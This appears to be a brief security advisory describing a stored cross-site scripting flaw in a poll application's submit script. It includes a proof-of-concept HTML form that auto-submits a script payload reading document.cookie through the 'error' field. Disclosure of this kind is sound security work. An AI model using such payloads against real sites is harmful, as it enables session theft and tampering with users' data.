Vulnerability Type: Stored XSS (Cross Site Scripting)

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "poll/submit.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/poll/poll.php&page=edit" method="post" name="main">

<input type="hidden" name="poll" value="1">

<input type="hidden" name="error" value='description"><script>alert(document.cookie)</script>'>

</form>

<script>

document.main.submit();

</script>
